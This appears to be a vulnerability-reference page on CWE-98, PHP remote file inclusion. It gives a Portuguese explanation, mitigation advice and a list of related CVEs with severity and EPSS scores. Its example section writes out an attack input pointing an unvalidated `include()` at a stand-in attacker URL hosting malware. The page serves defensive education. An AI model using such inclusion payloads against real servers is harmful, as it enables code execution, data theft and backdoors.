Weaknesses of type CWE-98

1,305 results

Inclusão remota de arquivo

Ocorre quando a aplicação inclui dinamicamente um arquivo (via funções como `include()`, `require()` em PHP) sem validar corretamente a entrada do usuário. Um atacante fornece uma URL remota maliciosa e consegue executar código arbitrário no servidor, comprometendo completamente a aplicação.

Example

Uma página PHP recebe um parâmetro `page` e faz `include($_GET['page'])`. Um atacante passa `page=http://seuservidor.com/malware.php` e consegue executar o arquivo malicioso no contexto do servidor web, roubando dados ou instalando backdoors.

How to mitigate

Valide rigorosamente entrada de usuário: use lista branca de arquivos permitidos, não permita URLs remotas, desabilite as directives `allow_url_include` e `allow_url_fopen` no PHP, e sempre sanitize caminhos de arquivo.

CVE-2024-9193CRITICALWHMpress <= 6.3-revision-0 - Unauthenticated Local File Inclusion to Arbitrary Options UpdateEPSS 3.3%CVE-2021-22968—A bypass of adding remote files in Concrete CMS (previously concrete5) File Manager leads to remote code execution in Concrete CMS (concreteEPSS 3.2%CVE-2026-85200HIGHGEO my WP <= 4.5.5.3 - Unauthenticated Local File InclusionEPSS 3.2%CVE-2024-8252HIGHClean Login <= 1.14.5 - Authenticated (Contributor+) Local File InclusionEPSS 3.0%CVE-2026-87902HIGHAn unauthenticated attacker can make `get_page_template()` page-template resolution include a chosen readable local `.php` file outside the EPSS 2.9%CVE-2025-48157HIGHWordPress Formality <= 1.5.9 - Local File Inclusion VulnerabilityEPSS 2.7%CVE-2024-3806CRITICALPorto <= 7.1.0 - Unauthenticated Local File Inclusion via porto_ajax_postsEPSS 2.7%CVE-2024-31459HIGHCacti RCE vulnerability by file include in lib/plugin.phpEPSS 2.7%CVE-2022-40089CRITICALA remote file inclusion (RFI) vulnerability in Simple College Website v1.0 allows attackers to execute arbitrary code via a crafted PHP fileEPSS 2.7%CVE-2016-6565—The Imagely NextGen Gallery plugin for Wordpress prior to version 2.1.57 may execute code from an uploaded malicious fileEPSS 2.5%CVE-2015-10133HIGHSubscribe to Comments <= 2.1.2 - Local File IncludionEPSS 2.1%CVE-2023-2551HIGHPHP Remote File Inclusion in unilogies/bumsysEPSS 1.9%CVE-2025-32614HIGHWordPress EventON plugin <= 2.4 - Local File Inclusion vulnerabilityEPSS 1.9%CVE-2025-52562CRITICALConvey Panel Directory Traversal in LocaleController leading to Remote Code ExecutionEPSS 1.8%CVE-2026-44177HIGHKirby: Pre-authentication path traversal and PHP file inclusion during user lookupEPSS 1.8%CVE-2024-32523HIGHWordPress Mailster plugin <= 4.0.6 - Unauthenticated Local File Inclusion vulnerabilityEPSS 1.8%CVE-2023-31718—FUXA <= 1.1.12 is vulnerable to Local via Inclusion via /api/download.EPSS 1.7%CVE-2024-3849HIGHClick to Chat – HoliThemes <= 3.35 - Authenticated (Contributor+) Local File InclusionEPSS 1.7%CVE-2020-13175—The Management Interface of the Teradici Cloud Access Connector and Cloud Access Connector Legacy for releases prior to April 20, 2020 (v15 EPSS 1.7%CVE-2025-0366HIGHJupiter X Core <= 4.8.7 - Authenticated (Contributor+) SVG Upload to Local File Inclusion (Remote Code Execution)EPSS 1.6%